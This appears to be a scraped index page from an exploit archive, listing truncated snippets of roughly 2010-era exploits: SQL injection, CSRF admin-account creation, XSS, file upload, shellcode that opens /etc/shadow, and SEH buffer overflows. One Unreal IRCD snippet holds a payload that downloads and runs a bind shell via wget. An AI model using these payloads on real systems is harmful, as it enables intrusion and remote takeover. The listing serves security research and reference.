Gekko CMS (SQL Injection) Vulnerability

No description provided by source. 2-SQL injection Vulnerability Description: SQL injection is a code injection technique that exploits a security vulnerability occurring in the database layer of an application. The vulnerability is present when user input is either incorrectly filtered for strin...

Allomani Super Multimedia 2.5 Cross Site Request Forgery

Exploit Title: Allomani - Super Multimedia v2.5 - CSRF Add Admin Account Date: 29-06-2010 Author: G0D-F4Th3r Software Link: http://demos.allomani.com/media250/ Version: 2.5 Tested on: http://demos.allomani.com/media250/ Greetz to : AL-MoGrM - dEvIL NeT - Bad hacker - v4-team members - And All My...

linux/ARM chmod("/etc/shadow", 0777) Shellcode 35 Bytes

Exploit for linux/x86 platform in category shellcode ======================================================= linux/ARM chmod"/etc/shadow", 0777 Shellcode 35 Bytes ======================================================= / | Title: Linux/ARM chmod"/etc/shadow", 0777 Shellcode 35 Bytes | Type:...

Vodu CMS (XSS/URL Redirecting) Multiple Vulnerability

Exploit for php platform in category web applications ===================================================== Vodu CMS XSS/URL Redirecting Multiple Vulnerability ===================================================== 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0 0 1 1 /' ...

Bilder Upload Script Datei Upload 1.09 - Arbitrary File Upload

InformatioN Homepage: http://www.joomlaservice.info Or http://www.dz4all.com Vendor : http://www.php-space.info/bilder-upload-script/ Download: http://www.php-space.info/bilder-upload-script/bilder-upload-script1.09.rar Email : [email protected] Dork : allinurl: In YoUr Dream Lamerz exploit :...

Ceica-GW - 'login.php' Cross-Site Scripting

source: https://www.securityfocus.com/bid/40917/info Ceica-GW is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input. An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of t...

Allomani And Clips 2.7.0 Cross Site Request Forgery

Exploit Title: Allomani & Clips v2.7.0 - CSRF Add Admin Account Date:25 -06-2010 Author: G0D-F4Th3r Software Link: http://demos.allomani.com/songs270/ Version: 2.7.0 Tested on: http://demos.allomani.com/songs270/ Greetz to : AL-MoGrM - dEvIL NeT - Bad hacker - v4-team members - And All My Friends...

Allomani Songs & Clips 2.7.0 - Cross-Site Request Forgery (Add Admin)

Exploit Title: Allomani & Clips v2.7.0 - CSRF Add Admin Account Date:25 -06-2010 Author: G0D-F4Th3rG0D-F4Th3r Software Link: http://allomani.com Greetz to : AL-MoGrM - dEvIL NeT - Bad hacker - v4-team members - And All My Friends...

Big Forum SQL injection Vulnerability

No description provided by source. =================Exploit================== EXPL0!T http://server/path/forum.php?id=3SQL =========================================================== Greetz to : Alnjm33-virus-pal -g3n1ux - Predator-Ahmadso - xXx-jago-dz -inejcteur-4PY-SaYrOs- XR57 -Tr0y-x -alsaek...

BlazeDVD 6.0 - '.plf' File Universal Buffer Overflow (SEH)

Exploit Title : BlazeDVD v6 .plf SEH universale Buffer Overflow tested on windows xp SP 3 FR Author: MadjiX Dz8 HotmaiL cOm Greets:Bibi-info , His0k4 where are you : my $file= "MadjiX.plf"; my $junk="\x41" x 608; my $nseh="\xeb\x06\x90\x90"; my $seh= pack'V',0x100157F5; my $nops="\x90" x 24; calc...

DDLCMS v2. 1 Remote File inclusion vulnerability-vulnerability warning-the black bar safety net

DDLCMS v2. 1 program thanks. php page there is a remote file inclusion vulnerability Vulnerability file:thanks.php Code: includeWWWROOT . 'skins/' . $skin . '/header.php'; // line 46 includeWWWROOT . 'leftside.php'; Poc: the"skin" parameter in FILE thanks.php is not Defined which can allow remote...

Planet 1.1 - Cross-Site Request Forgery (Add Admin)

Exploit Title: Planet 1.1 - CSRF Add Admin Account Date: 17-06-2010 Author: G0D-F4Th3r Software Link: http://php.femtolayer.com/planet11/ Version: 1.1 Tested on: http://php.femtolayer.com/planet11/ /cp/security.php?do=admins" Greetz to : AL-MoGrM - dEvIL NeT - Bad hacker - v4-team members - And A...

PenPals - Authentication Bypass

PenPals - Authentication Bypass Author: L0rd CrusAd3r aka VSN [email protected] Exploit Title: PenPals Authentication Bypass Vendor url:http://www.anblik.com Version:1.0 Price:1200$ Published: 2010-06-17 Greetz to:Sid3^effects, MaYur, M4n0j, Dark Blue, S1ayer,d3c0d3r,KD and to all ICW members...

Nakid CMS Remote Shell Upload

Exploit database separated by exploit 0 0 // type local, remote, DoS, etc. 1 1 1 0 + Site : Inj3ct0r.com 0 1 + Support e-mail : submitatinj3ct0r.com 1 0 0 1 1 0 I'm eidelweiss member from Inj3ct0r Team 1 1 0 0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1 Developers:...

File Sharing Wizard 1.5.0 - Remote Overflow (SEH)

!/usr/bin/python print "\n" print " Team Hackers Garage " print " www.garage4hackers.com " print " " print " File Sharing Wizard Version 1.5.0 " print " Remote Command Execution " print " Author: b0nd " print " [email protected] " print " " print " Greetz to: The Hackers Garage Family " print ...

Real Estate - SQL Injection

Real Estate - SQL Injection Description Linux And window Version available: This software is available in both windows and linux version. It runs on asp and php extension. Listings: We can add unlimited property listing, with the property photo. System automatically creates three thumbnail photo ...

Unreal IRCD 3.2.8.1 Remote Download / Execute Trojan

!/usr/bin/perl Unreal3.2.8.1 Remote Downloader/Execute Trojan DO NOT DISTRIBUTE -PRIVATE- -iHaq 2l8 use Socket; use IO::Socket; Payload options my $payload1 = 'AB; cd /tmp; wget http://packetstormsecurity.org/groups/synnergy/bindshell-unix -O bindshell; chmod +x bindshell; ./bindshell &'; my...

Unreal IRCD 3.2.8.1 Remote Downloader/Execute Trojan

Exploit for linux platform in category remote exploits ==================================================== Unreal IRCD 3.2.8.1 Remote Downloader/Execute Trojan ==================================================== !/usr/bin/perl Unreal3.2.8.1 Remote Downloader/Execute Trojan DO NOT DISTRIBUTE...

HauntmAx CMS Haunted House - Directory Listing SQL Injection

HauntmAx CMS Haunted House - Directory Listing SQL Injection ================================== HauntmAx CMS SQLi Vulnerability ================================== 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0 0 1 1 /' \ /'\ /\ \ /'\ 0 0 /, \ /\/\ \ \ \ \ ,/\ /\ \ 1 1...

Image Store - Arbitrary File Upload

Image Store - Arbitrary File Upload ============================================= =================================== ============================================= ====== Image Store Remote file Upload Vulnerability ============================================= ===================================...